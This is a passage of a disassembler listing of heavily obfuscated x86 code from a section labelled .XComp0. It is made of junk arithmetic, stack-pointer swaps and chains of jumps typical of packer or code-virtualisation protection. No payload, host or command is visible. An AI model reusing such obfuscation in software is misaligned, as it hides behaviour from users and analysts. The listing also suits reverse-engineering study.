		mov	esi, 0FFFFFFFFh
		sub	eax, 41371974h
		sub	eax, 771F1CCDh
		add	eax, esi
		add	eax, 771F1CCDh
		push	ebp
		mov	ebp, 754F5DFBh
		jmp	loc_58C9E4
; ---------------------------------------------------------------------------


loc_591B61:				; CODE XREF: .XComp0:0059185Ej
		pop	ebx
		jmp	loc_5873AA
; ---------------------------------------------------------------------------


loc_591B67:				; CODE XREF: .XComp0:0058464Ej
		push	esp
		jmp	loc_594D7B
; ---------------------------------------------------------------------------


loc_591B6D:				; CODE XREF: .XComp0:0058C6ACj
		or	esi, ebp
		pop	ebp
		sub	esi, 0AEFD7EFFh
		push	eax
		mov	eax, esi
		mov	ecx, eax
		pop	eax
		pop	esi
		push	edi
		push	ecx
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_586EE1
; ---------------------------------------------------------------------------


loc_591B93:				; CODE XREF: .XComp0:0058FCEEj
		pop	esp
		sub	esp, 4
		jmp	loc_584448
; ---------------------------------------------------------------------------


loc_591B9C:				; CODE XREF: .XComp0:0058D15Bj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_586A6C
; ---------------------------------------------------------------------------


loc_591BB4:				; CODE XREF: .XComp0:0058E9E3j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 1CAC1540h
		xor	ebp, 0C45DC54Bh
		jmp	loc_598DC1
; ---------------------------------------------------------------------------


loc_591BCD:				; CODE XREF: .XComp0:005919A0j
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3D081E10h
		jmp	loc_59827D
; ---------------------------------------------------------------------------


loc_591BE0:				; CODE XREF: .XComp0:0058CD0Bj
					; .XComp0:0058E45Fj
		push	edx
		push	edx
		mov	edx, esp
		jmp	loc_584EB0
; ---------------------------------------------------------------------------


loc_591BE9:				; CODE XREF: .XComp0:00588046j
		push	bx
		mov	bh, 65h
		or	dh, bh
		pop	bx
		sub	dh, 43h
		mov	ah, 7Ch
		jmp	loc_59467A
; ---------------------------------------------------------------------------


loc_591BFB:				; CODE XREF: .XComp0:00585F5Ej
		sub	al, 1Fh
		jmp	loc_590EA2
; ---------------------------------------------------------------------------


loc_591C02:				; CODE XREF: .XComp0:0058D52Dj
		inc	ecx
		push	787Bh
		mov	[esp], eax
		mov	eax, 0A67FFFDBh
		add	ecx, 16096312h
		add	ecx, eax
		jmp	loc_59035B
; ---------------------------------------------------------------------------


loc_591C1D:				; CODE XREF: .XComp0:005959F3j
		xor	dl, 67h
		add	ah, dl
		pop	edx
		add	ah, dh
		sub	ah, 60h
		pop	dx
		sub	ah, dh
		sub	ah, 7Fh
		mov	edx, [esp]
		add	esp, 4
		neg	ah
		add	ah, 2
		shr	ah, 4
		sub	ah, 0F0h
		push	ebx
		mov	bl, ah
		mov	ch, bl
		pop	ebx
		jmp	loc_598809
; ---------------------------------------------------------------------------


loc_591C4B:				; CODE XREF: .XComp0:00587E57j
		mov	ebx, 152F7B0Bh
		push	ebx
		sub	dword ptr [esp], 85E7A7Eh
		pop	edx
		add	edx, 85E7A7Eh
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 38A26231h
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		mov	ecx, 0F6C55h
		jmp	loc_594EBB
; ---------------------------------------------------------------------------


loc_591C7F:				; CODE XREF: .XComp0:005918C4j
		push	dword ptr [esp]
		jmp	loc_58C64A
; ---------------------------------------------------------------------------


loc_591C87:				; CODE XREF: .XComp0:0058A7E3j
		mov	ecx, 6331146Dh
		jmp	loc_58A068
; ---------------------------------------------------------------------------


loc_591C91:				; CODE XREF: .XComp0:00597ED2j
		shl	edx, 5
		sub	esp, 4
		jmp	loc_58C8B7
; ---------------------------------------------------------------------------


loc_591C9F:				; CODE XREF: .XComp0:00598689j
		pop	ebp
		sub	edi, 29C506C3h
		sub	edi, ebx
		add	edi, 29C506C3h
		pop	ebx
		mov	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_596EFE
; ---------------------------------------------------------------------------


loc_591CC8:				; CODE XREF: .XComp0:005847E2j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58DA71
; ---------------------------------------------------------------------------


loc_591CD3:				; CODE XREF: .XComp0:0058E8E3j
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebp
		jmp	loc_58A136
; ---------------------------------------------------------------------------


loc_591CDF:				; CODE XREF: .XComp0:00586118j
		mov	eax, [esp]
		add	esp, 4
		dec	ebx
		shl	ebx, 4
		not	ebx
		sub	ebx, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58D07A
; ---------------------------------------------------------------------------


loc_591CFC:				; CODE XREF: .XComp0:0058AF8Dj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		jmp	loc_585080
; ---------------------------------------------------------------------------


loc_591D09:				; CODE XREF: .XComp0:00588A11j
		add	esp, 4
		push	ebx
		jmp	loc_592AC4
; ---------------------------------------------------------------------------


loc_591D12:				; CODE XREF: .XComp0:0058978Aj
		xor	ecx, 0D9E49DA4h
		add	ecx, 705723A8h
		add	ecx, edi
		jmp	loc_5854A6
; ---------------------------------------------------------------------------


loc_591D25:				; CODE XREF: .XComp0:0058594Fj
		push	10350163h
		mov	esi, [esp]
		add	esp, 4
		push	eax
		push	edx
		push	46AE5C4Bh
		jmp	loc_58ACD1
; ---------------------------------------------------------------------------


loc_591D3C:				; CODE XREF: .XComp0:00585195j
		and	ebp, 19E046F1h
		jmp	loc_589445
; ---------------------------------------------------------------------------


loc_591D47:				; CODE XREF: .XComp0:0058F121j
		push	3BB8h
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_587F53
; ---------------------------------------------------------------------------


loc_591D58:				; CODE XREF: .XComp0:005955A7j
		sub	esp, 4
		mov	[esp], ebx
		push	3526h
		mov	[esp], ecx
		mov	ecx, 1394145Dh
		mov	ebx, ecx
		jmp	loc_588470
; ---------------------------------------------------------------------------


loc_591D75:				; CODE XREF: .XComp0:0059395Fj
		sub	edx, 77073855h
		add	edx, edi
		add	edx, 77073855h
		sub	edx, 6A3D2888h
		mov	edi, [esp]
		push	3D38h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_58B86B
; ---------------------------------------------------------------------------


loc_591D9B:				; CODE XREF: .XComp0:00586BEFj
		mov	eax, 4B5C16B0h
		add	[esp+4], eax
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_584499
; ---------------------------------------------------------------------------


loc_591DB3:				; CODE XREF: .XComp0:00594A8Bj
		and	cl, 4Eh
		dec	cl
		shl	cl, 4
		add	cl, 71h
		xor	bh, cl
		pop	ecx
		jmp	loc_591245
; ---------------------------------------------------------------------------


loc_591DC6:				; CODE XREF: .XComp0:0058CDBEj
		push	6EFF02ACh
		pop	edx
		shl	edx, 2
		neg	edx
		xor	edx, 5A2FEE74h
		push	edx
		sub	dword ptr [esp], 3AEE2736h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 3AEE2736h
		mov	edx, [esp]
		add	esp, 4
		shl	eax, 3
		sub	eax, 635865FDh
		jmp	loc_593675
; ---------------------------------------------------------------------------


loc_591E04:				; CODE XREF: .XComp0:0058E139j
		pop	edx
		sub	ax, bx
		push	bp
		mov	bp, 77C3h
		push	bx
		jmp	loc_598152
; ---------------------------------------------------------------------------


loc_591E15:				; CODE XREF: .XComp0:0058D502j
		push	759Fh
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, 45867F0Eh
		add	ebp, ebx
		sub	ebp, 45867F0Eh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59203C
; ---------------------------------------------------------------------------


loc_591E3E:				; CODE XREF: .XComp0:0058DC8Fj
		pop	edi
		push	dword ptr [edi+eax*4]
		push	ecx
		push	ebp
		mov	ebp, 26603CB0h
		mov	ecx, ebp
		pop	ebp
		add	ecx, 0FFFFFFFFh
		jmp	loc_592516
; ---------------------------------------------------------------------------


loc_591E57:				; CODE XREF: .XComp0:0058DB70j
		mov	[esp], ebp
		mov	ebp, 73E337D2h
		sub	ebp, 0FA506A7h
		add	ebp, 158F4CA7h
		shr	ebp, 1
		sub	ebp, 1335450Dh
		neg	ebp
		xor	ebp, 29B179DBh
		jmp	loc_5886AD
; ---------------------------------------------------------------------------


loc_591E80:				; CODE XREF: .XComp0:00584FBBj
		push	esi
		mov	esi, 1F895AB7h
		jmp	loc_584A2A
; ---------------------------------------------------------------------------


loc_591E8B:				; CODE XREF: .XComp0:00588716j
		add	esi, ecx
		pop	ecx
		jmp	loc_58FCD2
; ---------------------------------------------------------------------------


loc_591E93:				; CODE XREF: .XComp0:0058F7C7j
		sub	edi, 795E2F88h
		jmp	loc_59007B
; ---------------------------------------------------------------------------


loc_591E9E:				; CODE XREF: .XComp0:00596678j
		add	esp, 4
		push	eax
		jmp	loc_596627
; ---------------------------------------------------------------------------


loc_591EA7:				; CODE XREF: .XComp0:0058F5EFj
		mov	edi, 4
		add	ecx, edi
		pop	edi
		jmp	loc_58B1F5
; ---------------------------------------------------------------------------


loc_591EB4:				; CODE XREF: .XComp0:0058A3D4j
		pop	dword ptr [esp]
		pop	esp
		add	ah, 14h
		add	ah, dl
		push	dx
		mov	dl, 14h
		sub	ah, dl
		mov	dx, [esp]
		add	esp, 2
		pop	edx
		push	ebx
		jmp	loc_594D15
; ---------------------------------------------------------------------------


loc_591ED4:				; CODE XREF: .XComp0:00592A2Bj
		mov	eax, edi
		pop	edi
		or	edx, eax
		mov	eax, [esp]
		add	esp, 4
		not	edx
		push	ecx
		jmp	loc_5953EC
; ---------------------------------------------------------------------------


loc_591EEA:				; CODE XREF: .XComp0:00597EC7j
		add	edx, esi
		pop	esi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_596427
; ---------------------------------------------------------------------------


loc_591F05:				; CODE XREF: .XComp0:00595D21j
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_58BB08
; ---------------------------------------------------------------------------


loc_591F11:				; CODE XREF: .XComp0:00595555j
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5987E2
; ---------------------------------------------------------------------------


loc_591F20:				; CODE XREF: .XComp0:005975FFj
		push	ecx
		jmp	loc_59073B
; ---------------------------------------------------------------------------


loc_591F26:				; CODE XREF: .XComp0:00585D3Bj
		mov	[edx], bh
		jmp	loc_59071A
; ---------------------------------------------------------------------------


loc_591F2D:				; CODE XREF: .XComp0:00593E60j
		sub	ebp, 2234299Fh
		sub	ebp, esi
		jmp	loc_58C195
; ---------------------------------------------------------------------------


loc_591F3A:				; CODE XREF: .XComp0:005905BEj
		pop	esp
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_593CE6
; ---------------------------------------------------------------------------


loc_591F45:				; CODE XREF: .XComp0:00593343j
		add	edx, 7BB8AAB3h
		sub	ebx, 109B5944h
		add	ebx, edx
		push	ebp
		mov	ebp, 109B5944h
		add	ebx, ebp
		pop	ebp
		jmp	loc_597B13
; ---------------------------------------------------------------------------


loc_591F61:				; CODE XREF: .XComp0:0058B492j
		add	edx, ebp
		sub	edx, 3AD576A5h
		mov	ebp, [esp]
		add	esp, 4
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		mov	edx, 43437A0h
		mov	ebp, 7382F231h
		add	ebp, edx
		pop	edx
		shr	ebp, 5
		add	ebp, 1
		sub	ebp, 41A30E5Dh
		inc	ebp
		not	ebp
		push	edx
		mov	edx, 132A293Bh
		and	edx, 613D6ECDh
		push	ebp
		jmp	loc_5960B7
; ---------------------------------------------------------------------------


loc_591FAC:				; CODE XREF: .XComp0:00590B50j
		add	bl, 0F2h
		sub	bl, 3Eh
		jmp	loc_594CA4
; ---------------------------------------------------------------------------


loc_591FB7:				; CODE XREF: .XComp0:0058B59Aj
		xor	ecx, 86B403C4h
		add	eax, 8926B72h
		add	eax, 65E628E1h
		add	eax, ecx
		jmp	loc_5852CF
; ---------------------------------------------------------------------------


loc_591FCE:				; CODE XREF: .XComp0:00596192j
		push	ecx
		jmp	loc_596BEF
; ---------------------------------------------------------------------------


loc_591FD4:				; CODE XREF: .XComp0:00593997j
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edi
		push	esi
		jmp	loc_5854F4
; ---------------------------------------------------------------------------


loc_591FE6:				; CODE XREF: .XComp0:00595E3Cj
		mov	edx, 187F0D8Ah
		mov	ebx, 47A311C6h
		add	ebx, edx
		jmp	loc_58B6BC
; ---------------------------------------------------------------------------


loc_591FF7:				; CODE XREF: .XComp0:0058F2B1j
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5885B5
; ---------------------------------------------------------------------------


loc_592008:				; CODE XREF: .XComp0:0058F4C0j
		push	ebx
		add	dword ptr [esp], 491223F2h
		pop	eax
		push	ecx
		mov	ecx, 491223F2h
		jmp	loc_58B3FC
; ---------------------------------------------------------------------------


loc_59201C:				; CODE XREF: .XComp0:0058BD74j
		pop	ebx
		add	edx, 4
		jmp	loc_5926B4
; ---------------------------------------------------------------------------


loc_592025:				; CODE XREF: .XComp0:005900CCj
		mov	eax, 5B293646h
		or	eax, 20377CC3h
		neg	eax
		push	ebp
		mov	ebp, 0
		jmp	loc_59831A
; ---------------------------------------------------------------------------


loc_59203C:				; CODE XREF: .XComp0:00591E39j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		shl	ecx, 3
		add	ecx, 98C0FD54h
		add	ebx, 45B0244Ah
		jmp	loc_5957E6
; ---------------------------------------------------------------------------


loc_59205C:				; CODE XREF: .XComp0:005939CCj
		add	esp, 4
		push	edi
		jmp	loc_585DC6
; ---------------------------------------------------------------------------


loc_592068:				; CODE XREF: .XComp0:00592E4Fj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_591A0E
; ---------------------------------------------------------------------------


loc_592079:				; CODE XREF: .XComp0:005910F6j
		add	edi, 4
		add	edi, 4
		jmp	loc_585DAA
; ---------------------------------------------------------------------------


loc_59208A:				; CODE XREF: .XComp0:0059109Cj
		push	ebp
		mov	ebp, 0E0B4032h
		add	ebx, 38EF0F8Dh
		sub	ebx, ebp
		push	ecx
		jmp	loc_58C3EC
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	470Eh
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 7AD352B2h
		add	edi, 852CAD52h
		jmp	loc_58E52B
; ---------------------------------------------------------------------------


loc_5920C5:				; CODE XREF: .XComp0:00587CF2j
		pop	eax
		jmp	loc_58F539
; ---------------------------------------------------------------------------


loc_5920CB:				; CODE XREF: .XComp0:loc_595343j
		pop	ebx
		jmp	loc_58FDDF
; ---------------------------------------------------------------------------


loc_5920D1:				; CODE XREF: .XComp0:00588CAFj
		pop	eax
		push	ebx
		mov	ebx, 60777F7Eh
		sub	ebp, ebx
		jmp	loc_58DF12
; ---------------------------------------------------------------------------


loc_5920DF:				; CODE XREF: .XComp0:0058A6D6j
		sub	esi, 39B134Eh
		jmp	loc_597795
; ---------------------------------------------------------------------------


loc_5920EA:				; CODE XREF: .XComp0:00589944j
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_589BFF
; ---------------------------------------------------------------------------


loc_5920F4:				; CODE XREF: .XComp0:0058EDF6j
		mov	[esp], esp
		jmp	loc_596826
; ---------------------------------------------------------------------------


loc_5920FC:				; CODE XREF: .XComp0:0058828Fj
		mov	edi, 4
		jmp	loc_59475A
; ---------------------------------------------------------------------------


loc_592106:				; CODE XREF: .XComp0:00588D47j
		mov	edi, 62EE413Bh
		and	edi, 601442BFh
		sub	edi, 0E0900EEh
		mov	eax, edi
		pop	edi
		jmp	loc_5863F4
; ---------------------------------------------------------------------------


loc_59211F:				; CODE XREF: .XComp0:00594ED4j
		pop	eax
		push	edi
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		push	ebp
		jmp	loc_5895EC
; ---------------------------------------------------------------------------


loc_59213E:				; CODE XREF: .XComp0:00596637j
		push	edx
		mov	edx, 6507D90h
		xor	edx, 11F7033Fh
		jmp	loc_59192D
; ---------------------------------------------------------------------------


loc_59214F:				; CODE XREF: .XComp0:005982DFj
		pop	ebx
		push	7DF8h
		mov	[esp], edx
		jmp	loc_58EBC9
; ---------------------------------------------------------------------------


loc_59215D:				; CODE XREF: .XComp0:00588ED7j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, 0ABh
		add	al, 0E1h
		jmp	loc_5892B5
; ---------------------------------------------------------------------------


loc_592170:				; CODE XREF: .XComp0:0058B6B7j
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_5850E2
; ---------------------------------------------------------------------------


loc_59218A:				; CODE XREF: .XComp0:00589EDFj
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		push	edi
		mov	edi, 4
		jmp	loc_58B54E
; ---------------------------------------------------------------------------


loc_5921A4:				; CODE XREF: .XComp0:00596593j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5846E7
; ---------------------------------------------------------------------------


loc_5921B0:				; CODE XREF: .XComp0:0058E2E9j
		neg	ecx
		and	ecx, 3777083Ah
		jmp	loc_586A23
; ---------------------------------------------------------------------------


loc_5921BD:				; CODE XREF: .XComp0:00583C1Ej
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_592A14
; ---------------------------------------------------------------------------


loc_5921F3:				; CODE XREF: .XComp0:00595C50j
		or	cl, al
		jmp	loc_58A384
; ---------------------------------------------------------------------------


loc_5921FA:				; CODE XREF: .XComp0:00596450j
		add	edi, 48D841C1h
		push	esi
		mov	esi, esp
		jmp	loc_587FBC
; ---------------------------------------------------------------------------


loc_592208:				; CODE XREF: .XComp0:00589993j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 62994F2Dh
		jmp	loc_594772
; ---------------------------------------------------------------------------


loc_59221C:				; CODE XREF: .XComp0:00585D65j
		add	esp, 4
		add	edi, ebp
		push	eax
		push	edi
		mov	edi, 7A294F1Fh
		mov	eax, 0AF5FFA6Ch
		add	eax, edi
		pop	edi
		sub	edi, 120D645Ah
		sub	edi, eax
		push	ebx
		jmp	loc_5956FA
; ---------------------------------------------------------------------------


loc_592241:				; CODE XREF: .XComp0:00593C2Aj
		push	5B8Ah
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	5CB06698h
		pop	edx
		neg	edx
		jmp	loc_596F5D
; ---------------------------------------------------------------------------


loc_592263:				; CODE XREF: .XComp0:0059856Dj
		add	edi, ecx
		add	edi, 2DAE2CDDh
		jmp	loc_594B4D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58F3AB
; ---------------------------------------------------------------------------


loc_592284:				; CODE XREF: .XComp0:00597CD8j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_596A6D
; ---------------------------------------------------------------------------


loc_592292:				; CODE XREF: .XComp0:00596494j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_598298
; ---------------------------------------------------------------------------


loc_5922A3:				; CODE XREF: .XComp0:00585FEEj
		push	ebp
		jmp	loc_595395
; ---------------------------------------------------------------------------


loc_5922A9:				; CODE XREF: .XComp0:00589AE9j
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_589FA7
; ---------------------------------------------------------------------------


loc_5922BD:				; CODE XREF: .XComp0:00590CBFj
		push	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 42E3356h
		jmp	loc_58B0A7
; ---------------------------------------------------------------------------


loc_5922CE:				; CODE XREF: .XComp0:00595421j
		pop	ecx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_586E52
; ---------------------------------------------------------------------------


loc_5922E9:				; CODE XREF: .XComp0:00590DB4j
		add	al, ch
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		push	15AEh
		mov	[esp], eax
		jmp	loc_5974C4
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 5AFF5322h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 78941C9Fh
		jmp	loc_59296B
; ---------------------------------------------------------------------------


loc_592318:				; CODE XREF: .XComp0:0058E158j
		mov	ebp, 2DD33540h
		or	ebp, 2ECD15C1h
		xor	ebp, 1BA3331Eh
		inc	ebp
		xor	ebp, 1B6F2BF2h
		sub	ebp, 0E6A13F0Eh
		jmp	loc_596653
; ---------------------------------------------------------------------------


loc_59233B:				; CODE XREF: .XComp0:00594867j
		add	al, dh
		jmp	loc_585B8B
; ---------------------------------------------------------------------------


loc_592342:				; CODE XREF: .XComp0:005934D9j
		push	eax
		push	ecx
		push	edi
		jmp	loc_584DC6
; ---------------------------------------------------------------------------


loc_59234A:				; CODE XREF: .XComp0:0059885Aj
		mov	[esp], edi
		mov	edi, 289F38E5h
		push	esi
		mov	esi, 325C512Ch
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 38083163h
		and	esi, eax
		pop	eax
		add	esi, 54C31C67h
		xor	esi, 0BDE9F4DFh
		add	edi, esi
		pop	esi
		or	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_589590
; ---------------------------------------------------------------------------


loc_592385:				; CODE XREF: .XComp0:00595D31j
		push	edx
		jmp	loc_58C148
; ---------------------------------------------------------------------------


loc_59238B:				; CODE XREF: .XComp0:0058F189j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_58D321
; ---------------------------------------------------------------------------


loc_592398:				; CODE XREF: .XComp0:005894C5j
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_592BA1
; ---------------------------------------------------------------------------


loc_5923A7:				; CODE XREF: .XComp0:0059107Ej
		add	ebx, ebp
		add	ebx, 6DC323F5h
		jmp	loc_5850F0
; ---------------------------------------------------------------------------


loc_5923B4:				; CODE XREF: .XComp0:0058B6A5j
		pop	ecx
		jmp	loc_598EBC
; ---------------------------------------------------------------------------


loc_5923BA:				; CODE XREF: .XComp0:0058EEA0j
		add	eax, esi
		jmp	loc_58F5CD
; ---------------------------------------------------------------------------


loc_5923C1:				; CODE XREF: .XComp0:0058ECD3j
		xor	[esp], ebx
		jmp	loc_5978F4
; ---------------------------------------------------------------------------


loc_5923C9:				; CODE XREF: .XComp0:0059376Cj
		add	esp, 4
		jmp	loc_596DAC
; ---------------------------------------------------------------------------


loc_5923D1:				; CODE XREF: .XComp0:0058E535j
		push	ecx
		push	0DF45B06h
		jmp	loc_594D0D
; ---------------------------------------------------------------------------


loc_5923DC:				; CODE XREF: .XComp0:005852CAj
		mov	[esp], eax
		jmp	loc_583A60
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	ebx
		mov	ebx, 468356F3h
		jmp	loc_587903
; ---------------------------------------------------------------------------


loc_592402:				; CODE XREF: .XComp0:0058DDB6j
		sub	edx, 4B095829h
		jmp	loc_595348
; ---------------------------------------------------------------------------


loc_59240D:				; CODE XREF: .XComp0:0058E073j
		mov	bh, 15h
		mov	dh, 39h
		sub	dh, 0E0h
		add	dh, bh
		jmp	loc_58E081
; ---------------------------------------------------------------------------


loc_59241B:				; CODE XREF: .XComp0:0059015Ej
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58A3AD
; ---------------------------------------------------------------------------


loc_592429:				; CODE XREF: .XComp0:0058B559j
		mov	[esp], ecx
		push	7BBDh
		jmp	loc_58C5AC
; ---------------------------------------------------------------------------


loc_592436:				; CODE XREF: .XComp0:00585E74j
		or	edi, 7DA11887h
		xor	edi, 143E4E45h
		push	23Bh
		mov	[esp], edi
		push	eax
		mov	eax, 3C3A67F0h
		xor	[esp+4], eax
		pop	eax
		pop	ebp
		jmp	loc_584D1C
; ---------------------------------------------------------------------------


loc_59245B:				; CODE XREF: .XComp0:005850B2j
		pop	esi
		push	edx
		mov	edx, 72124C20h
		xor	edx, 113C3243h
		xor	edx, 10931E0Ch
		sub	edx, 768B411Fh
		push	1D28h
		mov	[esp], edi
		mov	edi, 1
		add	edx, edi
		pop	edi
		shl	edx, 4
		sub	edx, 0D321F50Ch
		jmp	loc_58F326
; ---------------------------------------------------------------------------


loc_592492:				; CODE XREF: .XComp0:005908D7j
		add	ah, 8Ch
		shl	ah, 6
		sub	ah, 0C7h
		sub	cl, 0ECh
		sub	cl, ah
		add	cl, 0ECh
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		sub	al, cl
		mov	cx, [esp]
		add	esp, 2
		push	edi
		mov	edi, esp
		jmp	loc_5967D6
; ---------------------------------------------------------------------------


loc_5924BB:				; CODE XREF: .XComp0:00591121j
		pop	esp
		jmp	loc_58B43B
; ---------------------------------------------------------------------------


loc_5924C1:				; CODE XREF: .XComp0:005988E8j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58F83C
; ---------------------------------------------------------------------------


loc_5924CA:				; CODE XREF: .XComp0:005842D8j
		pop	ebp
		or	esi, 70250D88h
		jmp	loc_589935
; ---------------------------------------------------------------------------


loc_5924D6:				; CODE XREF: .XComp0:005940EAj
		xor	edi, 4D2E348Bh
		jmp	loc_588E40
; ---------------------------------------------------------------------------


loc_5924E1:				; CODE XREF: .XComp0:00597B1Dj
		mov	esp, [esp]
		and	[esp], al
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5924ED:				; CODE XREF: .XComp0:00584EABj
		dec	ecx
		sub	ecx, 1D559D27h
		add	ebx, ecx
		pop	ecx
		shl	ebx, 6
		not	ebx
		sub	ebx, 0FFFFFFFFh
		push	esi
		jmp	loc_585167
; ---------------------------------------------------------------------------


loc_592508:				; CODE XREF: .XComp0:0058C0C5j
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_589ABB
; ---------------------------------------------------------------------------


loc_592516:				; CODE XREF: .XComp0:00591E52j
		push	ebx
		jmp	loc_5951FF
; ---------------------------------------------------------------------------


loc_59251C:				; CODE XREF: .XComp0:0058A3B1j
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_58F295
; ---------------------------------------------------------------------------
		push	1F4Dh
		push	esp
		pop	dword ptr [esp]
		push	eax
		push	edx
		mov	edx, 670B7205h
		jmp	loc_58B7B5
; ---------------------------------------------------------------------------


loc_59253E:				; CODE XREF: .XComp0:005939F3j
		mov	bl, 7Dh
		jmp	loc_597DFE
; ---------------------------------------------------------------------------


loc_592545:				; CODE XREF: .XComp0:005860F0j
		sub	edi, 6304704Ah
		push	edx
		push	edi
		jmp	loc_589AA7
; ---------------------------------------------------------------------------


loc_592552:				; CODE XREF: .XComp0:0058A87Fj
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	ecx, 19C27A00h
		jmp	loc_5962F9
; ---------------------------------------------------------------------------


loc_59256B:				; CODE XREF: .XComp0:00585BB6j
		inc	word ptr [esp]
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_592575:				; CODE XREF: .XComp0:0058F158j
		mov	edx, [esp]
		add	esp, 4
		or	[edi+1Ch], eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58FDEB
; ---------------------------------------------------------------------------


loc_592587:				; CODE XREF: .XComp0:00588D9Ej
		mov	ch, 96h
		add	al, ch
		jmp	loc_58D6AF
; ---------------------------------------------------------------------------


loc_592590:				; CODE XREF: .XComp0:0058B515j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	edx
		mov	edx, 247D66C1h
		jmp	loc_586B84
; ---------------------------------------------------------------------------


loc_5925AA:				; CODE XREF: .XComp0:0058803Bj
		add	eax, 4
		add	eax, 4
		jmp	loc_589F7F
; ---------------------------------------------------------------------------


loc_5925B7:				; CODE XREF: .XComp0:00595613j
		sub	edx, 5089781Ch
		push	4891h
		jmp	loc_59894B
; ---------------------------------------------------------------------------


loc_5925C7:				; CODE XREF: .XComp0:005872F6j
		add	ecx, 40F32B6Fh
		sub	ebx, ecx
		pop	ecx
		jmp	loc_58CF40
; ---------------------------------------------------------------------------


loc_5925D5:				; CODE XREF: .XComp0:0058C38Dj
		and	esi, edi
		pop	edi
		add	esi, 0FECFF6E1h
		mov	edx, esi
		jmp	loc_59276A
; ---------------------------------------------------------------------------


loc_5925E5:				; CODE XREF: .XComp0:005890C9j
		add	esp, 4
		push	ebp
